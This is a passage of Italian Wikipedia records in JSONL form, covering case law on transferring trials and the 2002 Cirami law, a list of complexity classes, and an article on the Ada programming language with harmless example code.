dell'istituto. Ricorre l'affermazione che deve trattarsi di situazioni obiettivamente apprezzabili, comprovabili empiricamente. In ogni caso, la prova di tali situazioni locali non pu\u00f2 in alcun modo essere data attraverso fatti endoprocessuali. Per Cassazione penale, sez. V, 12 ottobre 1995, n. 2259, caso Massimano: \"le situazioni legittimanti la sottrazione del processo al giudice del \"locus commissi delicti\" debbono essere di carattere locale, cio\u00e8 debbono trarre origine da obbiettive e provate circostanze ambientali, estranee alla dialettica processuale e concretamente idonee, nella loro sintomatica abnormit\u00e0, a pregiudicare la libert\u00e0 di determinazione delle persone che debbono partecipare al processo \". Al di fuori di situazioni strettamente comprovabili, non si riconosce validit\u00e0 ad altro, nel caso Di Muro (cfr. sopra) si sostiene che \"non pu\u00f2 quindi dar luogo alla configurabilit\u00e0 di siffatte situazioni l'esistenza di sospetti, congetture, illazioni, ancorch\u00e9 gli stessi abbiano trovato espressione in interrogazioni parlamentari e in pubblici discorsi tenuti \u2018in loco\u2019 da esponenti politici\"; in termini, l'ordinanza Cassazione penale, sez. II, 14 ottobre 1993, caso Palau-Giovanetti: \"la richiesta di rimessione del procedimento, dovendo essere fondata su circostanze gravi, tali da legittimare il timore che, per il concorso di una situazione ambientale anomala, la serenit\u00e0 e l'imparzialit\u00e0 dei giudici possano venire seriamente incise e menomate, con compromissione della corretta esplicazione della funzione giurisdizionale, non pu\u00f2 essere giustificata da mere congetture, supposizioni o illazioni ovvero da vaghi timori soggettivi dell'imputato\".\nLa situazione da cui nasce il pericolo per il procedimento non deve incidere su un singolo magistrato, ma sull'intero ufficio giudicante, viceversa, dovrebbero essere utilizzati altri rimedi processuali, come la ricusazione. Al tempo stesso, tuttavia, deve trattarsi di una situazione di pericolo risolubile con uno spostamento di sede, per cui non potranno dare luogo a rimessione situazioni diffuse sull'intero territorio nazionale. Sotto il primo profilo, nel caso Palau-Giovanetti (cfr. sopra), si sottolinea come la situazione \"che impone la rimessione del procedimento, deve riferirsi all'ufficio giudiziario nel suo complesso, e non ad un singolo magistrato o ad un singolo organo collegiale dell'ufficio\"; in termini Cassazione penale, sez. I, 18 aprile 1990, caso Di Palma e altro: \"l'istituto della rimessione dei procedimenti tende a garantire la serenit\u00e0 dell'organo giudicante nel suo complesso e non con riferimento al singolo componente, nel qual caso subentrano le norme relative all'astensione e alla ricusazione\". Da ultimo nel caso Berlusconi (cfr. sopra): \"deve ritenersi escluso che lo spostamento di competenza possa farsi dipendere da ragioni di tipo soggettivo riguardanti i protagonisti dei processo\"; e ancora: \"deve trattarsi in particolare di elementi tali da riverberarsi sull'organo giudicante indipendentemente dalla sua composizione, in quanto le cause che possono incidere sulla imparzialit\u00e0 di uno dei suoi componenti possono eventualmente rilevare ai fini dell'applicazione delle norme sull'astensione e sulla ricusazione e non determinano l'applicazione dell'istituto della rimessione\".\nSotto il secondo profilo, si \u00e8 affermato nell'ordinanza relativa al caso Craxi (cfr. sopra): \"deve escludersi che la rimessione possa operare ove si rappresentino situazioni destinate comunque a rimanere immodificate anche in caso di trasferimento del processo ad altra sede\".\nL'eccezionalit\u00e0 dell'istituto, richiede che questo sia utilizzato come extrema ratio, cio\u00e8 come ultimo rimedio da prendersi in considerazione, quando tutti gli altri strumenti predisposti dal Codice di procedura penale risultino in adeguati. Chiarissima, in questo senso, \u00e8 la sentenza Cassazione penale, sez. I, 30 gennaio 1996, n. 634, caso Tetamo: \"in materia di rimessione del processo il legislatore ha posto l'ulteriore limite che le situazioni tali da legittimare l'applicabilit\u00e0 di detto istituto siano non altrimenti eliminabili: deve trattarsi di situazioni, cio\u00e8, cui non possa porvi rimedio con l'adozione di speciali accorgimenti e cautela idonei ad impedire l'insorgenza di tumulti o la perpetrazione di atti violenti in danno di un numero indeterminato di persone o di uno o pi\u00f9 dei soggetti che partecipano al processo ovvero con il ricorso agli altri strumenti predisposti dall'ordinamento per i casi di possibili alterazioni del corso normale della giustizia (ad es. astensione o ricusazione del giudice)\". Ancora pi\u00f9 chiara \u00e8 la pronuncia nel caso Pomicino (cfr. sopra): \"l'istituto della rimessione del processo, come disciplinato dall'art. 45 c.p.p., pu\u00f2 trovare applicazione soltanto quando si sia effettivamente determinata in un certo luogo una situazione obiettiva di tale rilevanza da coinvolgere l'ordine processuale - inteso come complesso di persone e mezzi apprestato dallo Stato per l'esercizio della giurisdizione -, sicch\u00e9 tale situazione, non potendo essere eliminata con il ricorso agli altri strumenti previsti dalla legge per i casi di alterazione del corso normale del processo - quali l'astensione o la ricusazione del giudice -, richiede necessariamente il trasferimento del processo ad altra sede giudiziaria \u2026 Consegue che non hanno rilevanza ai fini dell'applicazione dell'istituto vicende riguardanti singoli magistrati che hanno svolto funzioni giurisdizionali nel procedimento, non coinvolgenti l'organo giudiziario nel suo complesso\".\nLa legge Cirami.\nLa dottrina che, nella vigenza del vecchio codice, aveva a lungo segnalato la carenza di tassativit\u00e0 nell'individuazione dei casi che possono dar luogo a rimessione, trova soddisfacente nella formulazione adottata dal codice del 1988. Comprensibilmente, dunque, ha destato una certa sorpresa l'ordinanza della Corte di cassazione emessa il 5 luglio 2002, con la quale si \u00e8 giudicata non manifestamente infondata la questione di legittimit\u00e0 costituzionale dell'art. 45 c.p.p., nella parte in cui, contrariamente alla legge delega, non prevedeva il legittimo sospetto fra le cause di rimessione del processo. La Cassazione ipotizza un possibile eccesso di delega, in quanto \"la formula \u2018legittimo sospetto\u2019, contenuta nella legge delega, sarebbe pi\u00f9 ampia della formula \u2018libert\u00e0 di determinazione delle persone che partecipano al processo\u2019, comprendendo anche tutti quei casi in cui la situazione ambientale esercita pressione sul giudice in modo tale da comprometterne l'imparzialit\u00e0, pur senza tradursi in vere e proprie coartazioni fisiche o psicologiche\".\nIl giudice delle leggi, con ordinanza del 19 novembre 2002, n. 465, dichiara la manifesta inammissibilit\u00e0 della questione, senza entrare nel merito della prospettazione, ma limitandosi a rilevare la mancata argomentazione da parte del Giudice a quo della rilevanza della prospettata incostituzionalit\u00e0 relativamente al giudizio in corso di fronte ad esso, non risultando \"alcuna autonoma motivazione circa l'applicabilit\u00e0 alla fattispecie in esame dell'ipotetica nuova norma richiesta in via additiva\".\nTale ordinanza, giunge comunque intempestivamente: nel momento in cui la Consulta pronuncia l'inammissibilit\u00e0 della questione prospettatale, \u00e8 gi\u00e0 da due mesi entrata in vigore una nuova disciplina che riforma l'istituto della rimessione: la Legge 7 novembre 2002, n. 248 recante \u00abmodifica degli articoli 45, 47, 48 e 49 del codice di procedura penale (cosiddetta \"Legge Cirami\" dal nome del proponente senatore Melchiorre Cirami). Con la legge 7 novembre 2002, n. 248 (\"Modifica degli articoli 45, 47, 48 e 49 del codice di procedura penale\") un legislatore straordinariamente preoccupato dal possibile eccesso di delega aveva provveduto ad intervenire sugli ipotizzati profili d'incostituzionalit\u00e0 della disciplina della rimessione.\nEntrata in vigore l'8 novembre 2002, essa introdusse nel codice di procedura penale italiano il concetto del legittimo sospetto, ovverosia il dubbio sull'imparzialit\u00e0 dell'organo giudicante.\nStoria.\nLa legge venne presentata dal senatore Melchiorre Cirami (UDC) il 9 luglio 2002. Il 18 luglio 2002 il disegno di legge inizi\u00f2 ad essere esaminato dalla Commissione Giustizia del Senato della Repubblica, che lo licenzi\u00f2 il 31 luglio. Il giorno seguente il disegno di legge venne approvato dal Senato. Le opposizioni, per protesta, non parteciparono al voto.\nLa legge pass\u00f2 quindi alla Camera dei deputati dove, tuttavia, si aren\u00f2 per circa un mese a causa della pausa estiva. La Commissione Giustizia della Camera inizi\u00f2 infatti ad esaminarla solo il 6 settembre 2002 e la licenzi\u00f2 il 23 settembre. La legge arriv\u00f2 solo il 10 ottobre all'esame dell'Aula che, dopo avervi apportato numerose modifiche, la approv\u00f2 con il voto favorevole della maggioranza e il voto contrario delle opposizioni.\nDi qui in avanti l'iter della legge divenne molto pi\u00f9 veloce: il 24 ottobre 2002 la legge arriv\u00f2 all'esame dell'aula del Senato della Repubblica Italiana che la approv\u00f2 ad alzata di mano. Il 5 novembre 2002 la legge fu approvata definitivamente dalla Camera dei Deputati. Le opposizioni, per protesta, non parteciparono al voto.\nIter di approvazione.\nL'iter di approvazione della legge fu inizialmente lento, per poi divenire assai pi\u00f9 veloce. \nUn primo progetto di legge, prevedeva di riportare la formula legislativa al codice del 1930, prevedendo due formule alternative e indipendenti: da una parte situazioni che pregiudicano la libera determinazione delle persone che partecipano al processo ovvero la sicurezza o l'incolumit\u00e0 pubblica e dall'altra ogni altra situazione di legittimo sospetto. Nel corso del dibattito parlamentare, tuttavia, vengono apportati dei correttivi, che fanno in modo che tanto il pregiudizio alla libera determinazione di tutti coloro che partecipano al processo (e l'incolumit\u00e0 pubblica), quanto il legittimo sospetto debbano essere originati da gravi situazioni locali, tali da turbare lo svolgimento del processo e non altrimenti eliminabili.\nDi seguito i vari passaggi:\nContenuto.\nIl provvedimento aggiunge un ulteriore caso ai due gi\u00e0 esistenti (previsti dall'art. 45 del codice di procedura penale italiano) per il trasferimento di un processo. Si configurano quindi tre possibilit\u00e0 di rimessione del processo ad altro giudice di altra sede giudiziaria:\nL'istanza di rimessione pu\u00f2 essere fatta dal pubblico ministero o dall'imputato e pu\u00f2 essere contestata dalle altre parti. Sull'istanza decide la Corte di Cassazione, ed \u00e8 valevole anche per i processi in corso. Il nuovo giudice non potr\u00e0 utilizzare gli atti del vecchio procedimento.\nCritiche.\nLa legge fu fortemente criticata dalle opposizioni che la accusarono di essere una legge \"ad personam\"\" \"il cui unico scopo era impedire il regolare svolgimento dei processi a carico di Silvio Berlusconi, in particolare il processo Imi-Sir.\nIl provvedimento venne molto criticato anche da numerosi magistrati e avvocati, tra cui Franco Cordero, che defin\u00ec la legge \"un mostro costituzionale\".\nApplicazione.\nIl nuovo art. 45 c.p.p. trova la sua prima applicazione e valutazione giurisprudenziale, con l'ordinanza Cassazione Penale, Sez. Unite, 23 gennaio 2003, n. 1, successiva a due separate istanze di rimessione presentate dagli imputati Berlusconi, Previti, Verde, Pacifico, Rovelli, Squillante e Stavtchenko, relativamente ad un processo penale incardinato presso il Tribunale di Milano. La pronuncia della Suprema Corte \u00e8 estremamente articolata e dotta. In primo luogo, si esamina la questione di legittimit\u00e0 costituzionale del nuovo art. 45 c.p.p., la Corte si richiama alla sentenza interpretativa di rigetto del 1963, per concludere che, il Giudice della rimessione che opera sul vigente testo dell'art. 45, come il Giudice dell'art. 55 del Codice del 1930, \u00e8 sicuramente vincolato all'apprezzamento di una grave situazione locale, in relazione alla sussistenza del legittimo sospetto \"non interpretabile se non in termini di pericolo concreto della non imparzialit\u00e0\". Il testo dell'art. 45 c.p.p., come modificato dalla Legge Cirami vincola la sussistenza del legittimo sospetto alla sussistenza delle gravi situazioni locali, tali da turbare lo svolgimento del processo. Le Sezioni unite, si domandano problematicamente, se alla medesima soluzione (in merito alla costituzionalit\u00e0 della norma alla stregua del principio del giudice naturale precostituito per legge) si sarebbe potuti giungere nel caso fosse stata approvata la riforma della rimessione nel testo licenziato dal Senato della Repubblica.\nSul merito della questione, la Suprema Corte riprende tutte le acquisizioni giurisprudenziali in merito alla eccezionalit\u00e0 dell'istituto, alla sua residualit\u00e0 in merito ad altri strumenti e alla necessaria tassativit\u00e0 delle ipotesi che possono dare luogo a rimessione. Circa la formula del legittimo sospetto, le Sezioni unite (riprendendo il testo dell'ordinanza 5 luglio 2002 che solleva la questione di legittimit\u00e0 costituzionale), individuano la natura di questa clausola generale nel \"ragionevole dubbio che la gravit\u00e0 della situazione locale possa portare il Giudice a non essere comunque imparziale o sereno\".\nTale formula \u00e8 di maggiore ampiezza rispetto a quella del pregiudizio alla libera determinazione delle persone che partecipano al processo, e si atteggia dunque come clausola generale di chiusura del sistema. Ma \u00e8 riaffermato che la valutazione circa la rappresentazione di un concreto pericolo per l'imparzialit\u00e0 del Giudice (inteso come ufficio giudiziario nel suo complesso) pu\u00f2 essere compiuta solo una volta accertata la grave situazione locale."}
{"id": "26776", "revid": "438678", "url": "https://it.wikipedia.org/wiki?curid=26776", "title": "Lista delle classi di complessit\u00e0", "text": "Questa pagina contiene la lista delle classi di complessit\u00e0, insiemi concernenti la teoria della complessit\u00e0 computazionale.\nNell'articolo computazione compare una mappa delle relazioni di inclusione dimostrabili per le classi di complessit\u00e0.\nMolte delle classi sottoindicate hanno una classe associata in modo involutorio che chiamiamo \"co-duale\" costituita dai complementi di tutti i linguaggi della classe originale. Ad esempio, se il linguaggio formula_1 appartiene a NP, il complementare di formula_1 sta in co-NP (questo non \u00e8 il complementare dell'insieme di linguaggi NP, in quanto vi sono linguaggi in entrambe queste classi e linguaggi che non appartengono a nessuno dei due). Per una classe co-duale non presente in genere \u00e8 utile esaminare la associata: ad esempio da UP si possono ricavare indicazioni per co-UP."}
{"id": "26777", "revid": "1543377", "url": "https://it.wikipedia.org/wiki?curid=26777", "title": "Ada (linguaggio di programmazione)", "text": "Ada \u00e8 un linguaggio di programmazione sviluppato verso la fine degli anni settanta su iniziativa del Dipartimento della Difesa (DOD) degli Stati Uniti. Sia le specifiche che lo sviluppo del linguaggio furono affidati a bandi di gara. Tra le 17 proposte inviate in seguito al bando indetto dal DOD, fu scelto nel 1979 il progetto di Jean Ichbiah, che all'epoca lavorava presso la CII Honeywell Bull. Le specifiche divennero uno standard ANSI e ISO nel 1983, seguito dalle successive revisioni nel 1995, 2005 e 2012. Un sottoinsieme hard real-time del linguaggio \u00e8 noto come profilo Ravenscar.\nAda combina principi e tecniche provenienti da diversi paradigmi di programmazione, in particolare programmazione modulare, programmazione orientata agli oggetti, programmazione concorrente e calcolo distribuito. Sebbene l'interesse del DOD vertesse principalmente sullo sviluppo di applicazioni militari, Ada \u00e8 un linguaggio general purpose che si presta all'utilizzo in qualsiasi dominio applicativo. L'origine militare si rivela per\u00f2 nella presenza di caratteristiche fortemente orientate alla sicurezza del codice; per questo motivo, il linguaggio viene ancora oggi usato in molti contesti in cui il corretto funzionamento del software \u00e8 critico, come astronautica, avionica, controllo del traffico aereo, finanza e dispositivi medici.\nI compilatori Ada impiegati per lo sviluppo di software mission-critical devono seguire un processo di certificazione secondo lo standard internazionale ISO/IEC 18009 (\"Ada: Conformity Assessment of a Language Processor\"), implementato nella suite \"Ada Conformity Assessment Test Suite\" (ACATS), parte integrante del processo di certificazione svolto da laboratori autorizzati dall'Ada Compiler Assessment Authority (ACAA).\nIl nome iniziale del linguaggio doveva essere \"DOD-1\", ma venne in seguito cambiato in Ada in onore di Ada Lovelace, illustre matematica dei primi anni del XIX secolo, accreditata come la prima programmatrice della storia per aver sviluppato un algoritmo per il calcolo dei numeri di Bernoulli sulla macchina analitica di Charles Babbage.\nCaratteristiche.\nAda eredita alcune caratteristiche stilistiche fondamentali da ALGOL, rispetto al quale aggiunge molte funzionalit\u00e0 basilari (come il sistema di tipi, i record, i puntatori o le enumerazioni, implementati in buona parte in stile Pascal) e funzionalit\u00e0 avanzate proprie dei moderni linguaggi di programmazione (polimorfismo, ereditariet\u00e0, eccezioni, tasking).\nIl linguaggio fornisce un gran numero di controlli sia statici (a tempo di compilazione) sia dinamici (a runtime), che prevengono un'ampia variet\u00e0 di errori (uso errato dei parametri, errori di tipo, violazione di range e off-by-one). I controlli dinamici sono disattivabili se si vuole massimizzare l'efficienza, tramite il pragma codice_1, o tramite switch specifici dei vari compilatori. Sicurezza e affidabilit\u00e0 del codice sono infatti uno dei principali aspetti che hanno guidato lo sviluppo del linguaggio.\n\"Hello, world!\" in Ada.\nUn Hello world in Ada \u00e8 il seguente:\nwith Ada.Text_IO; use Ada.Text_IO;\nprocedure Hello is\nbegin\n Put_Line(\"Hello, world!\");\nend Hello;\nSintassi.\nA differenza della maggior parte dei linguaggi di programmazione, Ada \u00e8 insensibile alle maiuscole. Le convenzioni stilistiche pi\u00f9 comuni prevedono di scrivere le keyword del linguaggio interamente in minuscolo (o, meno comunemente, interamente in maiuscolo) e i nomi di tutti gli identificatori (tipi, variabili, subroutine, package etc.) in snake case con l'iniziale di ogni parola maiuscola. I commenti sono su singola linea, iniziati da un doppio trattino codice_2 e terminati dal ritorno a capo. Per gli identificatori e i commenti Ada supporta il set di caratteri ISO 10646, permettendo quindi di scrivere codice in caratteri non ASCII, e la lunghezza massima consentita per gli identificatori \u00e8 legata all'implementazione (nelle implementazioni standard deve essere pari a non meno di 200 caratteri).\nLa sintassi di Ada impiega pochi simboli, prediligendo l'uso di parole in lingua inglese. I simboli sono l'assegnazione codice_3, gli operatori aritmetici elementari (codice_4, codice_5, codice_6, codice_7 e codice_8), gli operatori di comparazione (codice_9, codice_10, codice_11, codice_12, codice_13, codice_14), i due punti codice_15 per dichiarare il tipo di una variabile, la freccia codice_16 negli aggregati, la virgola codice_17 come separatore negli aggregati, l'operatore di accesso ai campi codice_18, l'indicazione di range codice_19, il \"tick\" codice_20 per accedere agli attributi, il \"box\" codice_21 per indicare un parametro variabile nelle dichiarazioni, il punto e virgola codice_22 per separare i parametri di una routine e per terminare le istruzioni. L'istruzione nulla \u00e8 costituita dalla keyword codice_23 terminata da punto e virgola, mentre una riga vuota terminata da punto e virgola non \u00e8 valida. I restanti operatori sono implementati tramite keyword (codice_24, codice_25, codice_26, codice_27 etc.).\nAda \u00e8 un linguaggio strutturato e i blocchi sono delimitati da keyword. La chiusura del blocco contiene un riferimento o identificatore per capire immediatamente a quale apertura appartiene ed evitare confusione, impedendo inoltre potenziali dangling else o analoghi errori. Ad esempio, una subroutine contenente un ciclo codice_28 appare come:\nprocedure Example is\n X: array (Integer range 1..5) of Integer;\nbegin\n for I in X'Range loop\n X(I) := I;\n end loop;\nend Example;\nParole riservate.\nIl linguaggio, in riferimento allo standard Ada 2012, ha 73 parole riservate:\nabort\nabs\nabstract\naccept\naccess\naliased\nall\nand\narray\nat\nbegin\nbody\ncase\nconstant\ndeclare\ndelay\ndelta\ndigits\ndo\nelse\nelsif\nend\nentry\nexception\nexit\nfor\nfunction\ngeneric\ngoto\nif\nin\ninterface\nis\nlimited\nloop\nmod\nnew\nnot\nnull\nof\nor\nothers\nout\noverriding\npackage\npragma\nprivate\nprocedure\nprotected\nraise\nrange\nrecord\nrem\nrenames\nrequeue\nreturn\nreverse\nselect\nseparate\nsome\nsubtype\nsynchronized\ntagged\ntask\nterminate\nthen\ntype\nuntil\nuse\nwhen\nwhile\nwith\nxor\nEsiste un'omonimia tra le parole riservate codice_29, codice_30, codice_31, codice_27 e codice_33 e gli omonimi attributi, ma essendo gli attributi sempre preceduti da un apostrofo (detto \"tick\") non esiste rischio di ambiguit\u00e0.\nDichiarazioni di variabile.\nLe dichiarazioni di variabile in Ada si effettuano indicando il nome dell'entit\u00e0 dichiarata, seguito da codice_15 e poi dal tipo, quest'ultimo preceduto da eventuali specificatori (codice_35, codice_36, codice_37 etc.). Un valore di inizializzazione statico o dinamico pu\u00f2 essere indicato facoltativamente dopo il tipo, separato da codice_3, e la dichiarazione \u00e8 infine terminata da codice_22. Le dichiarazioni possono essere collocate nella specifica di un package o nella parte dichiarativa di una routine o di un blocco codice_40. Pi\u00f9 variabili possono essere dichiarate nella stessa dichiarazione, separando i nomi con virgole, ma si tratta solo di zucchero sintattico e tecnicamente le dichiarazioni sono comunque distinte ed indipendenti fra loro, quindi ad esempio un'eventuale espressione di inizializzazione viene valutata una volta per ciascuna variabile.\n\u00c8 possibile definire variabili costanti facendo precedere il tipo dalla keyword codice_35, nel quale caso \u00e8 obbligatorio fornire un'inizializzazione, ed \u00e8 inoltre possibile definire costanti numeriche omettendo il tipo prima dell'inizializzazione, che deve consistere in un'espressione statica, ovvero nota a tempo di compilazione (il tipo della costante viene inferito dall'inizializzatore letterale). La differenza tra variabili costanti e costanti numeriche consiste nel fatto che le prime sono variabili calcolate a runtime, mentre le seconde vengono risolte a tempo di compilazione.\n-- variabile intera\nN: Integer;\n-- due variabili intere, inizializzate con un valore casuale\n-- (possono assumere due valori diversi)\nI, J: Integer := Random(Seed);\n-- variabile costante (valutata a runtime)\nF: constant Float := Float(I + J);\n-- costante numerica (risolta staticamente a tempo di compilazione)\n\u03c0: constant := 3.14159_26535_89793_23846;\nGoto.\nA differenza di molti linguaggi moderni, Ada conserva l'istruzione codice_42. Pur essendo generalmente deprecata nella programmazione strutturata, \u00e8 infatti un'istruzione utile per la generazione automatica di codice a partire da sorgenti in altri linguaggi o specifiche formalizzate ad alto livello. \u00c8 inoltre accettabile in alcuni contesti, come il salto verso il termine di un blocco (ad esempio un'iterazione di un ciclo) o l'uscita da cicli profondamente annidati, contesto nel quale \u00e8 pi\u00f9 leggibile rispetto ad analoghe istruzioni codice_43 o codice_44 in altri linguaggi in quanto il punto di arrivo del salto nel codice \u00e8 chiaramente indicato dalla label (mentre il codice_43 in linguaggi come il C pu\u00f2 essere \"error prone\").\nprocedure Print_Integers is\nbegin\n for I in 1..20 loop\n Put(Integer'Image(I));\n if I mod 5 = 0 then\n New_Line;\n goto Continue; -- goto\n end if;\n Put(\", \");\n \u00abContinue\u00bb -- label\n end loop;\nend Print_Integers;\nSistema di tipi.\nAda \u00e8 un linguaggio fortemente tipizzato e typesafe. A differenza del C e dei suoi derivati, Ada non ammette conversioni di tipo implicite (tranne che per i tipi universali e gli access type anonimi) e la conversione di tipo si effettua scrivendo il nome del tipo seguito dalla variabile da convertire tra parentesi, ad esempio:\nprocedure Conversion is\n X: Float := 2.9;\n Y: Integer;\nbegin\n Y := X; -- illegale (assegna valore Float a variabile Integer)\n X := X + 1; -- illegale (l'operatore + non \u00e8 definito su tipi misti)\n X := X + 1.0; -- legale\n Y := Integer(X); -- conversione di tipo (con arrotondamento): ora Y vale 3\nend Conversion;\nIl tipo di un letterale pu\u00f2 essere indicato esplicitamente con una sintassi simile alla conversione, aggiungendo un tick prima della parentesi aperta. Questo \u00e8 utile soprattutto in caso di ambiguit\u00e0, quando uno stesso letterale (ad esempio una stringa, o un valore enumerativo) pu\u00f2 riferirsi a tipi diversi.\nTipi predefiniti.\nA differenza del C e dei suoi derivati, in Ada non esistono keyword che identificano tipi primitivi, e tutti i tipi predefiniti sono definiti nella standard library. I tipi predefiniti fondamentali (come codice_46, codice_47 o codice_48) sono definiti nel package codice_49, ma per massimizzare la portabilit\u00e0 \u00e8 considerata buona pratica non usare direttamente i tipi predefiniti e definire invece i propri, anche per i tipi numerici pi\u00f9 semplici.\nI tipi definiti nel package codice_49 sono sempre visibili in ogni parte del programma, mentre gli altri tipi definiti nei restanti package della libreria standard richiedono una clausola codice_51 per essere visibili. I tipi definiti in codice_49 sono:\nI package codice_70 e codice_71 forniscono alcuni tipi che sono utili per la programmazione a basso livello:\nDichiarazione di tipi e sottotipi.\nI tipi possono essere definiti usando la keyword codice_79, sotto forma di enumerazione, come tipo in virgola mobile con la keyword codice_31 o a partire da un altro tipo preesistente, usando la keyword codice_81, mentre l'attributo codice_82 di un tipo fornisce il tipo base da cui deriva. A partire da un tipo \u00e8 possibile definire un sottotipo (con la keyword codice_83), che consiste in un insieme di valori contenuto nel dominio del tipo da cui deriva.\n-- nuovo tipo numerico definito a partire da Integer\ntype Giorno is new Integer;\n-- sottotipo di Giorno\nsubtype Giorno_Del_Mese is Giorno range 1..31;\nTipi enumerativi.\nI tipi enumerativi possono essere specificati indicando tra parentesi i possibili valori. I letterali di tipo enumerativo possono confliggere, e in tale caso per risolvere l'ambiguit\u00e0 si indica il tipo esplicitamente. \u00c8 possibile specificare un range di valori enumerativi, ed \u00e8 possibile dichiarare sottotipi enumerativi che assumano solo una parte dei valori del tipo da cui derivano.\nPer i tipi enumerativi sono definiti automaticamente gli operatori di confronto (l'ordine \u00e8 dato dalla posizione nella dichiarazione, partendo dal valore minimo verso il massimo), e dispongono di diversi attributi utili, tra i quali codice_84 e codice_85, che restituiscono il primo e l'ultimo valore del tipo, codice_86 e codice_87, che restituiscono i valori precedente e successivo, codice_88 e codice_89, che restituiscono rispettivamente l'indice posizionale (zero-based) del valore (ovvero la posizione nella dichiarazione) e il valore associato ad un indice.\nprocedure P is\n type Divinit\u00e0 is (Giove, Giunone, Minerva, Eros, Venere);\n type Pianeta is (Mercurio, Venere, Terra, Marte, Giove, Saturno, Urano, Nettuno);\n subtype Pianeta_Roccioso is Pianeta range Mercurio .. Marte;\n P1: Pianeta := Mercurio;\n D1: Divinit\u00e0 := Giunone;\n -- letterali ambigui\n P2: Pianeta := Pianeta'(Giove);\n D2: Divinit\u00e0 := Divinit\u00e0'(Giove);\n B: Boolean;\n I: Integer;\n D: Divinit\u00e0;\n P: Pianeta;\nbegin\n -- esempi di operatori e attributi\n B := Giunone &lt; Minerva; -- True\n I := Pianeta'Pos(Venere); -- 1\n P := Pianeta_Roccioso'Last; -- Marte\n D := Divinit\u00e0'Pred(Minerva); -- Giunone\nend P;\nArray.\nGli array sono definiti tramite la keyword codice_90, specificando tra parentesi la natura degli indici (che possono essere di un qualsiasi tipo discreto). Oltre al tipo \u00e8 possibile specificare un range per gli indici dell'array, indicando non la dimensione della struttura, ma una coppia di valori minimo e massimo per l'indice, eliminando alla radice il problema della scelta tra array zero-based e one-based. L'accesso agli elementi di un array avviene segnando l'indice tra parentesi tonde.\nUn tipo array pu\u00f2 essere definito anonimamente nella dichiarazione di variabile, oppure pu\u00f2 essere dichiarato un tipo specifico per l'array con la keyword codice_79. La differenza fondamentale \u00e8 che nel primo caso due array non possono essere assegnati fra loro, anche se dichiarati con un tipo anonimo che sembra lo stesso, in quanto si tratta formalmente di due tipi diversi (anche se la dichiarazione avviene nella stessa riga separando i nomi delle variabili con la virgola, in quanto tale notazione \u00e8 solo zucchero sintattico per due dichiarazioni distinte).\nGli array supportano lo slicing, assegnando contemporaneamente un range (non necessariamente statico) di indici, anche con sovrapposizione di elementi.\nprocedure P is\n -- array di tipo anonimo\n A, B: array (Integer range 1..5) of Float;\n -- tipo per array, di lunghezza variabile\n type Vettore is array (Integer range &lt;&gt;) of Float;\n -- sottotipo per array di lunghezza fissa\n subtype Vettore_5 is Vettore(1..5);\n -- array con indice 1..5\n C, D: Vettore_5;\n -- array con indice 1..6\n E: Vettore (1..6);\nbegin\n A := B; -- illegale (non compila), le due variabili hanno tipo (anonimo) diverso\n C := D; -- legale\n C := E; -- illegale\n A(1..3) := B(2..4); -- slice\n A(1..3) := A(2..4); -- slice con sovrapposizione di elementi (ok)\nend P;\n\u00c8 possibile dichiarare array mutlidimensionali nativi, separando gli indici con virgole, oppure sotto forma di array di array (e quindi jagged array), in questo caso avendo cura di fare attenzione all'ordine delle dichiarazioni.\nprocedure P is\n A: array (Integer range 1..5, Integer range 2..7) of Float; -- array di dimensione 2\n B: array (Integer range 2..7) of array (Integer range 1..5) of Float; -- array di array\nbegin\n A(1, 2) := 5.0; -- accesso ad un elemento di un array multidimensionale\n B(1)(2) := 5.0; -- accesso ad un elemento di un array di array\nend P;\nPer gli array \u00e8 possibile utilizzare nelle dichiarazioni o nelle istruzioni dei letterali (detti aggregati), costituiti da un insieme di valori tra parentesi tonde, separati da virgole. Gli aggregati possono essere posizionali oppure nominativi: nel primo caso la corrispondenza del valore con l'indice cui si riferisce \u00e8 data dalla posizione nell'aggregato (l'ordine dei valori deve seguire quindi quello degli elementi dell'array), nel secondo caso invece per ogni valore si specifica l'indice, usando il simbolo codice_16 per separarlo dal valore. \u00c8 possibile assegnare uno stesso valore a pi\u00f9 indici, usando il range codice_19 se sono consecutivi o una pipe codice_94 per elencare dei valori non consecutivi. La sintassi degli aggregati \u00e8 rigorosa e non consente inizializzazioni parziali, ma \u00e8 possibile specificare individualmente solo alcuni elementi e completare l'assegnazione con un valore per tutti i restanti elementi, usando la keyword codice_95.\n-- aggregato posizionale\nA: array (Integer range 1..5) of Integer := (1, 2, 3, 4, 5);\n-- aggregato nominativo, con range e others (gli aggregati per gli array annidati sono invece posizionali)\nB: array (Integer range 2..7) of array (Integer range 1..5) of Integer\n := (2 .. 4 | 6 =&gt; (1, 3, 5, 7, 9), others =&gt; (2, 4, 6, 8, 10));\n\u00c8 possibile applicare agli array unidimensionali di valori codice_67 che abbiano stesso tipo e lunghezza gli operatori codice_97, codice_24, codice_25 e codice_100, e il risultato \u00e8 un array le cui componenti sono calcolate applicando l'operatore alle singole coppie di componenti degli array operandi.\nRecord.\nI record possono essere definiti con la keyword codice_101, specificando i campi analogamente alle dichiarazioni di variabili (inclusa la possibilit\u00e0 di assegnare valori predefiniti). \u00c8 possibile accedere ai campi di un record con la dot notation, ed utilizzare aggregati costruiti analogamente a quelli degli array. \u00c8 inoltre possibile definire un record senza campi con la coppia di keyword codice_102, utile per definire tipi astratti o per estendere un tipo senza aggiungere nuovi campi.\nprocedure P is\n -- record\n type Data is\n record\n Giorno : Integer range 1..31 := 1;\n Mese : Nome_Mese := Gennaio; -- Nome_Mese \u00e8 un qualche tipo enumerativo\n Anno : Integer := 1970;\n end record;\n D, E: Data;\n type Null_Record is null record; -- record senza campi\nbegin\n D := (10, Gennaio, 1995);\n E.Giorno := D.Giorno;\nend P;\nTipi parametrici.\n\u00c8 possibile utilizzare dei parametri (detti discriminanti) nella dichiarazione di un tipo, che verranno specificati quando si dichiarano le variabili o si deriva un tipo non parametrico.\npackage Discriminanti is\n -- tipo per un testo di lunghezza generica, specificata dal discriminante Size\n type Testo(Size: Positive) is\n record\n Position : Positive := 1;\n Data : String(1 .. Size);\n end record;\n -- variabile per un testo di 100 caratteri\n T: Testo (100);\nend Discriminanti;\nTipi limitati.\nUn ulteriore meccanismo di controllo sui tipi \u00e8 dato dalla possibilit\u00e0 di definire tipi limitati, tramite la keyword codice_103. I tipi limitati dispongono solo delle operazioni dichiarate nel package, quindi non sono assegnabili con codice_3 e non dispongono delle operazioni di confronto predefinite codice_13 e codice_14. Un tipo privato pu\u00f2 essere definito limitato ma implementato internamente come non limitato, in questo caso il tipo \u00e8 limitato 